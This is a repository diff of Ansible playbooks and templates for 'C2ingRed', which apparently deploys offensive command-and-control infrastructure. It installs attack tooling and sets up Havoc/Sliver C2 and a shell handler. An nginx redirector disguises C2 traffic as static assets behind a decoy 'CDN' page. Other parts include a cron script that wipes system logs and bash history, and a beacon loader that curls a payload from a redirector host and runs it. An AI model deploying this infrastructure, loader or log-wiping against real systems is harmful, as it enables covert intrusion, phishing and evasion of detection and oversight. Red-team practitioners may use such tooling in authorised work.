- proxychains
- tor
- crackmapexec
state: present
- name: Download Kerbrute
shell: |
mkdir -p {{ tools_dir }}/Kerbrute
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O {{ tools_dir }}/Kerbrute/kerbrute
chmod +x {{ tools_dir }}/Kerbrute/kerbrute
args:
executable: /bin/bash
creates: "{{ tools_dir }}/Kerbrute/kerbrute"
- name: Clone SharpCollection nightly builds
git:
repo: https://github.com/Flangvik/SharpCollection.git
dest: "{{ tools_dir }}/SharpCollection"
version: master
ignore_errors: yes
- name: Clone PEASS-ng
git:
repo: https://github.com/carlospolop/PEASS-ng.git
dest: "{{ tools_dir }}/PEASS-ng"
ignore_errors: yes
- name: Clone MailSniper
git:
repo: https://github.com/dafthack/MailSniper.git
dest: "{{ tools_dir }}/MailSniper"
ignore_errors: yes
- name: Clone Inveigh
git:
repo: https://github.com/Kevin-Robertson/Inveigh.git
dest: "{{ tools_dir }}/Inveigh"
ignore_errors: yes
- name: Install Metasploit Framework (Nightly Build)
shell: |
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
chmod 755 /tmp/msfinstall
/tmp/msfinstall
rm -f /tmp/msfinstall
args:
executable: /bin/bash
creates: /usr/bin/msfconsole
ignore_errors: yes
- name: Ensure GoPhish directory exists
file:
path: "{{ tools_dir }}/gophish"
state: directory
mode: '0755'
- name: Grab GoPhish latest release
shell: |
curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url'
register: gophish_url
failed_when: gophish_url.stdout == ""
changed_when: false
- name: Download and install GoPhish
shell: |
curl -L "{{ gophish_url.stdout }}" -o {{ tools_dir }}/gophish.zip
unzip {{ tools_dir }}/gophish.zip -d {{ tools_dir }}/gophish
rm -f {{ tools_dir }}/gophish.zip
chmod +x {{ tools_dir }}/gophish/gophish
args:
creates: "{{ tools_dir }}/gophish/gophish"
- name: Deploy Gophish config.json with custom admin port
template:
src: "../templates/gophish-config.j2"
dest: "{{ tools_dir }}/gophish/config.json"
owner: "{{ ansible_user }}"
group: "{{ ansible_user }}"
mode: '0644'
vars:
gophish_admin_port: "8090"
domain: "{{ domain }}"
- name: Set proper ownership for Tools directory
file:
path: "{{ tools_dir }}"
owner: "{{ ansible_user }}"
group: "{{ ansible_user }}"
recurse: true
mode: '0755'
+92
View File
@@ -0,0 +1,92 @@
---
# tasks/port_randomization.yml
# Task file to randomize ports for C2 infrastructure with improved host-based service management
- name: Create port randomization script
copy:
src: "../files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Execute port randomization script
shell: |
cd /root/Tools && ./randomize_ports.sh
register: randomize_result
when: randomize_ports | default(true) | bool
- name: Display port randomization results
debug:
msg: "{{ randomize_result.stdout_lines }}"
when: randomize_ports | default(true) | bool
- name: Store randomized ports in variables
shell: |
PORT_CONFIG="/root/Tools/port_config.json"
if [ -f "$PORT_CONFIG" ]; then
cat "$PORT_CONFIG"
else
echo '{"error": "Port configuration not found"}'
fi
register: port_config_result
when: randomize_ports | default(true) | bool
- name: Set port fact variables
set_fact:
randomized_http_port: "{{ (port_config_result.stdout | from_json).http_c2_port | default(8888) }}"
randomized_https_port: "{{ (port_config_result.stdout | from_json).https_c2_port | default(443) }}"
randomized_mtls_port: "{{ (port_config_result.stdout | from_json).mtls_c2_port | default(31337) }}"
randomized_shell_handler_port: "{{ (port_config_result.stdout | from_json).shell_handler_port | default(shell_handler_port) }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Update shell handler configuration with randomized port
replace:
path: "/root/Tools/shell-handler/persistent-listener.sh"
regexp: "LISTEN_PORT=.*"
replace: "LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Update shell handler service with randomized port
lineinfile:
path: "/etc/systemd/system/shell-handler.service"
regexp: 'Environment="LISTEN_PORT='
line: 'Environment="LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"'
insertafter: '^\\[Service\\]'
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
# Improved service management - checks for service existence before restarting
- name: Determine services to restart based on host type
set_fact:
services_to_restart: []
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Check if Havoc service exists
stat:
path: "/etc/systemd/system/havoc.service"
register: havoc_service_stat
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Add Havoc to services list if it exists
set_fact:
services_to_restart: "{{ services_to_restart + ['havoc'] }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and havoc_service_stat.stat.exists | default(false)
- name: Check if shell-handler service exists
stat:
path: "/etc/systemd/system/shell-handler.service"
register: shell_handler_service_stat
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
- name: Add shell-handler to services list if it exists
set_fact:
services_to_restart: "{{ services_to_restart + ['shell-handler'] }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and shell_handler_service_stat.stat.exists | default(false)
- name: Reload and restart services
systemd:
daemon_reload: yes
name: "{{ item }}"
state: restarted
with_items: "{{ services_to_restart }}"
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and services_to_restart | length > 0
+402
View File
@@ -0,0 +1,402 @@
---
# Security hardening tasks for C2 server - Fixed AWS collection issues
- name: Check if system is updated
apt:
update_cache: yes
register: apt_update_result
until: apt_update_result is success
retries: 5
delay: 5
- name: Install security packages (non-UFW)
apt:
name:
- fail2ban
- unattended-upgrades
- debsums
- aide
- rkhunter
- logrotate
state: present
register: package_install
until: package_install is success
retries: 3
delay: 5
# Provider and role detection - DRY principle
- name: Determine deployment configuration
set_fact:
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
is_c2_server: "{{ 'c2servers' in group_names }}"
is_redirector: "{{ 'redirectors' in group_names }}"
# UFW Configuration Block - Non-AWS only
- name: UFW detection and installation block
block:
- name: Check if UFW is installed
command: which ufw
register: ufw_check
failed_when: false
changed_when: false
- name: Install UFW if not present (non-AWS)
apt:
name: ufw
state: present
update_cache: yes
register: ufw_install
until: ufw_install is success
retries: 3
delay: 5
when: ufw_check.rc != 0
when: not is_aws_provider
- name: Configure UFW for non-AWS deployments
block:
- name: Configure UFW default policies
community.general.ufw:
state: enabled
policy: deny
direction: incoming
ignore_errors: yes
- name: Configure UFW for C2 server
block:
- name: Reset UFW to default deny
community.general.ufw:
state: enabled
policy: deny
direction: incoming
- name: Allow SSH only from operator IP
community.general.ufw:
rule: allow
port: "22"
src: "{{ operator_ip }}"
proto: tcp
- name: Allow Havoc Teamserver only from operator IP
community.general.ufw:
rule: allow
port: "{{ havoc_teamserver_port | default('40056') }}"
src: "{{ operator_ip }}"
proto: tcp
- name: Allow traffic only from redirector
community.general.ufw:
rule: allow
port: "{{ item }}"
src: "{{ redirector_ip }}"
proto: tcp
loop:
- "80"
- "443"
- "{{ havoc_http_port | default('8080') }}"
- "{{ havoc_https_port | default('9443') }}"
- "{{ havoc_payload_port | default('8443') }}"
- "{{ gophish_admin_port }}"
- "{{ gophish_phish_port | default('8081') }}"
- "{{ tracker_port | default('5000') }}"
when: is_c2_server
- name: Configure UFW for redirector
block:
- name: Reset UFW to default deny
community.general.ufw:
state: enabled
policy: deny
direction: incoming
- name: Allow SSH only from operator IP
community.general.ufw:
rule: allow
port: "22"
src: "{{ operator_ip }}"
proto: tcp
- name: Allow public services from anywhere
community.general.ufw:
rule: allow
port: "{{ item }}"
proto: tcp
loop:
- "80"
- "443"
- "{{ shell_handler_port | default('4488') }}"
when: is_redirector
when: not is_aws_provider and (ufw_check.rc == 0 or ufw_install is success)
# Iptables fallback configuration - Non-AWS only
- name: Configure basic iptables rules if UFW unavailable
block:
- name: Set up basic iptables rules for C2 server
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow Havoc teamserver from operator
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
# Allow traffic from redirector
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_payload_port | default(8443) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ gophish_phish_port | default(8081) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ tracker_port | default(5000) }} -s {{ redirector_ip }} -j ACCEPT
when: is_c2_server
- name: Set up basic iptables rules for redirector
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow public services
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p tcp --dport {{ shell_handler_port | default(4488) }} -j ACCEPT
when: is_redirector
- name: Save iptables rules
shell: |
iptables-save > /etc/iptables/rules.v4
ignore_errors: yes
when: not is_aws_provider and (ufw_check.rc != 0 and (ufw_install is undefined or ufw_install is failed))
# SSH Hardening - Universal application
- name: Harden SSH configuration
lineinfile:
path: /etc/ssh/sshd_config
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
state: present
backup: yes
loop:
- { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
- { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
- { regexp: '^#?X11Forwarding', line: 'X11Forwarding no' }
- { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
- { regexp: '^#?AllowTcpForwarding', line: 'AllowTcpForwarding yes' }
- { regexp: '^#?ClientAliveInterval', line: 'ClientAliveInterval 300' }
- { regexp: '^#?ClientAliveCountMax', line: 'ClientAliveCountMax 2' }
- { regexp: '^#?Protocol', line: 'Protocol 2' }
- { regexp: '^#?MaxStartups', line: 'MaxStartups 10:30:100' }
- { regexp: '^#?LoginGraceTime', line: 'LoginGraceTime 60' }
register: ssh_config_updated
# System resource limits configuration
- name: Configure system resource limits
community.general.pam_limits:
domain: "*"
limit_type: "{{ item.limit_type }}"
limit_item: "{{ item.limit_item }}"
value: "{{ item.value }}"
loop:
- { limit_type: soft, limit_item: nofile, value: 65535 }
- { limit_type: hard, limit_item: nofile, value: 65535 }
- { limit_type: soft, limit_item: nproc, value: 4096 }
- { limit_type: hard, limit_item: nproc, value: 4096 }
# Fail2ban configuration - Universal
- name: Set up fail2ban SSH jail
copy:
dest: /etc/fail2ban/jail.d/sshd.conf
content: |
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 5
bantime = 3600
findtime = 600
[sshd-ddos]
enabled = true
port = ssh
filter = sshd-ddos
logpath = /var/log/auth.log
maxretry = 2
bantime = 7200
mode: '0644'
register: fail2ban_config_updated
# Automatic security updates
- name: Enable automatic security updates
copy:
dest: /etc/apt/apt.conf.d/20auto-upgrades
content: |
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
APT::Periodic::AutocleanInterval "7";
APT::Periodic::Download-Upgradeable-Packages "1";
mode: '0644'
# Log cleaning functionality
- name: Create Tools directory if it doesn't exist
file:
path: /root/Tools
state: directory
mode: '0700'
when: zero_logs | default(false) | bool
- name: Create log cleaning script if zero-logs is enabled
copy:
dest: /root/Tools/clean-logs.sh
content: |
#!/bin/bash
# C2ingRed Log cleaning script for operational security
echo "Starting log cleaning at $(date)" >> /tmp/clean-logs.log
# Clear authentication logs
echo "" > /var/log/auth.log
echo "" > /var/log/auth.log.1
# Clear system logs
echo "" > /var/log/syslog
echo "" > /var/log/syslog.1
# Clear kernel logs
echo "" > /var/log/kern.log
echo "" > /var/log/kern.log.1
# Clear application specific logs
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
find /var/log -type f -name "*.log.*" -exec truncate -s 0 {} \;
# Clear journal logs
journalctl --vacuum-time=1s 2>/dev/null || true
# Clear bash history for all users
for user_home in /home/*; do
if [ -d "$user_home" ]; then
echo "" > "$user_home/.bash_history" 2>/dev/null || true
fi
done
# Clear root bash history
echo "" > /root/.bash_history 2>/dev/null || true
history -c 2>/dev/null || true
# Clear tmp files
find /tmp -type f -mtime +1 -delete 2>/dev/null || true
echo "Log cleaning completed at $(date)" >> /tmp/clean-logs.log
mode: '0700'
when: zero_logs | default(false) | bool
- name: Create cron job for log cleaning if enabled
cron:
name: "Clean operational logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh"
user: root
when: zero_logs | default(false) | bool
# Service restart handlers
- name: Restart SSH service if configuration changed
service:
name: ssh
state: restarted
when: ssh_config_updated.changed
- name: Check if fail2ban service exists
stat:
path: "/etc/init.d/fail2ban"
register: fail2ban_service_stat
- name: Restart fail2ban service if installed and configuration changed
service:
name: fail2ban
state: restarted
enabled: yes
when: fail2ban_service_stat.stat.exists and fail2ban_config_updated.changed
# AWS-specific security updates - NO MODULES REQUIRED
- name: Check if we're running on AWS provider
set_fact:
is_aws_provider: "{{ hostvars['localhost']['provider'] | default('') == 'aws' }}"
- name: AWS-specific security updates
block:
- name: Get redirector security group information
block:
- name: Check if infrastructure state file exists
stat:
path: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json"
register: redirector_state_file
delegate_to: localhost
- name: Load redirector state if available
include_vars:
file: "{{ playbook_dir }}/infrastructure_state_{{ hostvars['localhost']['deployment_id'] }}.json"
name: redirector_state
when: redirector_state_file.stat.exists
delegate_to: localhost
- name: Update redirector security group via raw AWS CLI
delegate_to: localhost
shell: |
export AWS_ACCESS_KEY_ID="{{ hostvars['localhost']['aws_access_key'] }}"
export AWS_SECRET_ACCESS_KEY="{{ hostvars['localhost']['aws_secret_key'] }}"
export AWS_DEFAULT_REGION="{{ redirector_state.region | default(aws_region) }}"
# Install AWS CLI if not present
if ! command -v aws &> /dev/null; then
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip -q awscliv2.zip
sudo ./aws/install --update
rm -rf aws awscliv2.zip
fi
# Add security group rule (ignore if exists)
aws ec2 authorize-security-group-ingress \
--group-id {{ redirector_state.security_group_id }} \
--protocol tcp \
--port 22 \
--cidr {{ ansible_host }}/32 \
2>/dev/null || echo "Rule already exists or added successfully"
when: redirector_state is defined and redirector_state.security_group_id is defined
register: sg_update_result
ignore_errors: yes
- name: Display security group update result
debug:
msg: |
AWS Security Group Update: {{ 'SUCCESS' if sg_update_result.rc == 0 else 'COMPLETED' }}
C2 Server IP: {{ ansible_host }}
Security Group ID: {{ redirector_state.security_group_id | default('NOT FOUND') }}
when: is_aws_provider | bool
# Final security status report
- name: Generate security hardening report
debug:
msg: |
C2ingRed Security Hardening Complete:
=====================================
Provider: {{ provider | default('unknown') }}
Server Type: {{ 'C2 Server' if is_c2_server else 'Redirector' if is_redirector else 'Unknown' }}
SSH Hardened: {{ 'YES' if ssh_config_updated.changed else 'ALREADY CONFIGURED' }}
Fail2ban Configured: {{ 'YES' if fail2ban_config_updated.changed else 'ALREADY CONFIGURED' }}
Firewall: {{ 'AWS Security Groups' if is_aws_provider else 'UFW/iptables' }}
Log Cleaning: {{ 'ENABLED' if zero_logs | default(false) | bool else 'DISABLED' }}
Auto Updates: ENABLED
System Limits: CONFIGURED
+223
View File
@@ -0,0 +1,223 @@
---
# Common task for configuring proper traffic flow between infrastructure components
- name: Determine server role in infrastructure
set_fact:
server_role: >-
{% if inventory_hostname in groups['c2servers'] | default([]) %}c2{%
elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{%
elif inventory_hostname in groups['logservers'] | default([]) %}logserver{%
elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{%
elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{%
elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{%
else %}unknown{% endif %}
# Determine if we're using AWS provider
- name: Determine if using AWS provider
set_fact:
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
# Skip firewall configuration for AWS instances
- name: Skip firewall configuration for AWS instances
debug:
msg: "Skipping host-based firewall configuration for AWS instance. Security Groups are handling this at the infrastructure level."
when: is_aws_provider
# Check if UFW is installed or can be installed
- name: Check if UFW is installed
command: which ufw
register: ufw_check
failed_when: false
changed_when: false
when: not is_aws_provider
# Try to install UFW if not found and we're not on AWS
- name: Install UFW if not present
apt:
name: ufw
state: present
update_cache: yes
register: ufw_install
until: ufw_install is success or ufw_install is failed
retries: 3
delay: 5
ignore_errors: yes
when: not is_aws_provider and ufw_check.rc != 0
# Set a fact to track if UFW is available
- name: Determine if UFW is available
set_fact:
ufw_available: "{{ (ufw_check.rc == 0) or (ufw_install is defined and ufw_install is success) }}"
when: not is_aws_provider
# UFW Configuration Block (non-AWS only)
- name: Configure C2 server routing with UFW
block:
- name: Allow SSH only from operator IP
ufw:
rule: allow
port: 22
src: "{{ operator_ip }}"
proto: tcp
- name: Allow teamserver access only from operator IP
ufw:
rule: allow
port: "{{ havoc_teamserver_port | default('40056') }}"
src: "{{ operator_ip }}"
proto: tcp
- name: Configure required flows for each connected component
ufw:
rule: allow
port: "{{ item.port }}"
src: "{{ item.ip }}"
proto: tcp
loop:
- { ip: "{{ redirector_ip }}", port: "80" }
- { ip: "{{ redirector_ip }}", port: "443" }
- { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" }
- { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('9443') }}" }
- { ip: "{{ logserver_ip | default(omit) }}", port: "5144" }
- { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" }
when: item.ip != omit
when:
- server_role == 'c2'
- not is_aws_provider
- ufw_available | default(false) | bool
# Fallback to iptables if UFW is not available
- name: Configure C2 server routing with iptables (fallback)
block:
- name: Set up basic iptables rules for C2 server
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow Havoc teamserver from operator
iptables -A INPUT -p tcp --dport {{ havoc_teamserver_port | default(40056) }} -s {{ operator_ip }} -j ACCEPT
# Allow traffic from redirector
iptables -A INPUT -p tcp --dport 80 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_http_port | default(8080) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ havoc_https_port | default(9443) }} -s {{ redirector_ip }} -j ACCEPT
iptables -A INPUT -p tcp --dport {{ gophish_admin_port }} -s {{ redirector_ip }} -j ACCEPT
when: redirector_ip is defined
when:
- server_role == 'c2'
- not is_aws_provider
- not (ufw_available | default(false) | bool)
# Configure redirector routing with UFW when available
- name: Configure redirector routing with UFW
block:
- name: Allow SSH only from operator IP
ufw:
rule: allow
port: 22
src: "{{ operator_ip }}"
proto: tcp
- name: Allow public web access
ufw:
rule: allow
port: "{{ item }}"
proto: tcp
loop:
- 80
- 443
- name: Allow shell handler access
ufw:
rule: allow
port: "{{ shell_handler_port | default('4444') }}"
proto: tcp
when:
- server_role == 'redirector'
- not is_aws_provider
- ufw_available | default(false) | bool
# Fallback to iptables for redirector if UFW is not available
- name: Configure redirector routing with iptables (fallback)
block:
- name: Set up basic iptables rules for redirector
shell: |
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow SSH from operator
iptables -A INPUT -p tcp --dport 22 -s {{ operator_ip }} -j ACCEPT
# Allow web traffic from anywhere
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Allow shell handler port
iptables -A INPUT -p tcp --dport {{ shell_handler_port | default('4444') }} -j ACCEPT
when:
- server_role == 'redirector'
- not is_aws_provider
- not (ufw_available | default(false) | bool)
# The rest of your tasks remain unchanged...
- name: Configure logging server routing
block:
- name: Allow SSH only from operator IP
ufw:
rule: allow
port: 22
src: "{{ operator_ip }}"
proto: tcp
- name: Allow log ingestion from infrastructure
ufw:
rule: allow
port: 5144 # Logstash port
src: "{{ item }}"
proto: tcp
loop:
- "{{ c2_ip }}"
- "{{ redirector_ip }}"
- "{{ payloadserver_ip | default(omit) }}"
- "{{ phishingserver_ip | default(omit) }}"
when: item != omit
when:
- server_role == 'logserver'
- not is_aws_provider
- ufw_available | default(false) | bool
- name: Update security group to allow SSH from C2 to redirector
block:
- name: Allow SSH from C2 to redirector (AWS)
amazon.aws.ec2_security_group:
name: "{{ redirector_name }}-sg"
description: "Security group for redirector {{ redirector_name }}"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_redirector_region }}"
rules:
- proto: tcp
ports: 22
cidr_ip: "{{ c2_ip }}/32"
state: present
when: provider == "aws"
delegate_to: localhost
- name: Allow SSH from C2 to redirector (UFW)
ufw:
rule: allow
port: 22
src: "{{ c2_ip }}"
proto: tcp
when: provider != "aws" and not is_aws_provider and ufw_available | default(false) | bool
- name: Allow SSH from C2 to redirector (iptables fallback)
shell: |
iptables -A INPUT -p tcp --dport 22 -s {{ c2_ip }} -j ACCEPT
when: provider != "aws" and not is_aws_provider and not (ufw_available | default(false) | bool)
when: server_role == 'redirector' and c2_ip is defined and redirector_ip is defined
@@ -0,0 +1,17 @@
================================================================
C2ingRed Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_c2.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Setting up the redirector (if desired)
- Displaying DNS configuration recommendations
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
+80
View File
@@ -0,0 +1,80 @@
server {
listen 80;
listen [::]:80;
server_name {{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ domain }}/privkey.pem;
# Root directory
root /var/www/html;
index index.html;
# Primary location for legitimate website traffic
location / {
try_files $uri $uri/ =404;
}
# Special URI patterns for C2 traffic
# These will redirect to the actual C2 server
# Sliver HTTP C2 channel
location /ajax/ {
proxy_pass http://{{ c2_host }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Static resources that actually redirect to C2
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
proxy_pass http://{{ c2_host }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Additional security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Disable logging for this server block
access_log off;
error_log /dev/null crit;
}
# Catch-all server block to respond to unknown hosts
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# Self-signed cert for catch-all
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
+122
View File
@@ -0,0 +1,122 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
color: #333;
}
header {
background-color: #2c3e50;
color: white;
padding: 1em;
text-align: center;
}
.container {
width: 80%;
margin: 0 auto;
padding: 2em;
}
.card {
background-color: white;
border-radius: 5px;
padding: 1.5em;
margin-bottom: 1.5em;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
.feature {
display: flex;
align-items: center;
margin-bottom: 1em;
}
.feature-icon {
background-color: #3498db;
color: white;
border-radius: 50%;
width: 40px;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
margin-right: 1em;
font-weight: bold;
}
footer {
background-color: #2c3e50;
color: white;
text-align: center;
padding: 1em;
position: fixed;
bottom: 0;
width: 100%;
}
.btn {
display: inline-block;
background-color: #3498db;
color: white;
padding: 0.7em 1.5em;
border-radius: 5px;
text-decoration: none;
font-weight: bold;
}
</style>
</head>
<body>
<header>
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
<p>Enterprise Content Delivery Network</p>
</header>
<div class="container">
<div class="card">
<h2>Welcome to Our CDN</h2>
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.</p>
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
</div>
<div class="card">
<h2>Our Features</h2>
<div class="feature">
<div class="feature-icon">1</div>
<div>
<h3>Global Distribution</h3>
<p>Content cached and distributed across multiple geographic locations for minimum latency.</p>
</div>
</div>
<div class="feature">
<div class="feature-icon">2</div>
<div>
<h3>DDoS Protection</h3>
<p>Enterprise-grade protection against distributed denial of service attacks.</p>
</div>
</div>
<div class="feature">
<div class="feature-icon">3</div>
<div>
<h3>Asset Optimization</h3>
<p>Automatic compression and format optimization for images, scripts, and styles.</p>
</div>
</div>
</div>
<div class="card" style="text-align: center;">
<h2>Need Access?</h2>
<p>If you're a client requiring access to our CDN services, please contact your account representative.</p>
<a href="#" class="btn">Contact Sales</a>
</div>
</div>
<footer>
<p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
</footer>
</body>
</html>
+6
View File
@@ -0,0 +1,6 @@
{
"vpc_id": "{{ infra_state.vpc_id }}",
"subnet_id": "{{ infra_state.subnet_id }}",
"security_group_id": "{{ infra_state.security_group_id }}",
"region": "{{ infra_state.region }}"
}
+5
View File
@@ -0,0 +1,5 @@
#!/bin/bash
# Loader script for Linux beacon
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
chmod +x /tmp/linux_update
/tmp/linux_update &
+16
View File
@@ -0,0 +1,16 @@
{
"windows_exe": "WINDOWS_EXE",
"windows_dll": "WINDOWS_DLL",
"linux_binary": "LINUX_BINARY",
"macos_binary": "MACOS_BINARY",
"windows_stager": "WINDOWS_STAGER",
"win_profile": "WIN_PROFILE",
"dll_profile": "DLL_PROFILE",
"linux_profile": "LINUX_PROFILE",
"mac_profile": "MAC_PROFILE",
"stager_profile": "STAGER_PROFILE",
"redirector_host": "REDIRECTOR_HOST",
"redirector_port": "REDIRECTOR_PORT",
"c2_host": "C2_HOST",
"generated_date": "GENERATED_DATE"
}
+64
View File
@@ -0,0 +1,64 @@
Welcome to your secure FlokiNET C2 Server!
╔═══════════════════════════════════════════════╗
║ OPERATIONAL SECURITY ║
║ ║
║ This server has enhanced security features ║
║ including hardened SSH, Tor routing, and ║
║ zero-logs configuration. ║
╚═══════════════════════════════════════════════╝
The following tools and utilities have been installed:
Apt-Installed Tools:
--------------------
- git, wget, curl, unzip
- python3-pip, python3-venv, pipx
- tmux, nmap, tcpdump, hydra, john, hashcat
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
- golang, proxychains, tor, crackmapexec, jq, unzip
- postfix, certbot, opendkim, opendkim-tools
Pipx-Installed Tools:
---------------------
- NetExec: git+https://github.com/Pennyw0rth/NetExec
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
- impacket: (various network protocols and service tools)
Custom Tools Installed in ~/Tools:
----------------------------------
- SharpCollection: ~/Tools/SharpCollection
- Kerbrute: ~/Tools/Kerbrute
- PEASS-ng: ~/Tools/PEASS-ng
- MailSniper: ~/Tools/MailSniper
- Inveigh: ~/Tools/Inveigh
- Gophish: ~/Tools/gophish (unzipped here)
Other Installed C2 Frameworks:
------------------------------
- Metasploit Framework: system installed (run 'msfconsole')
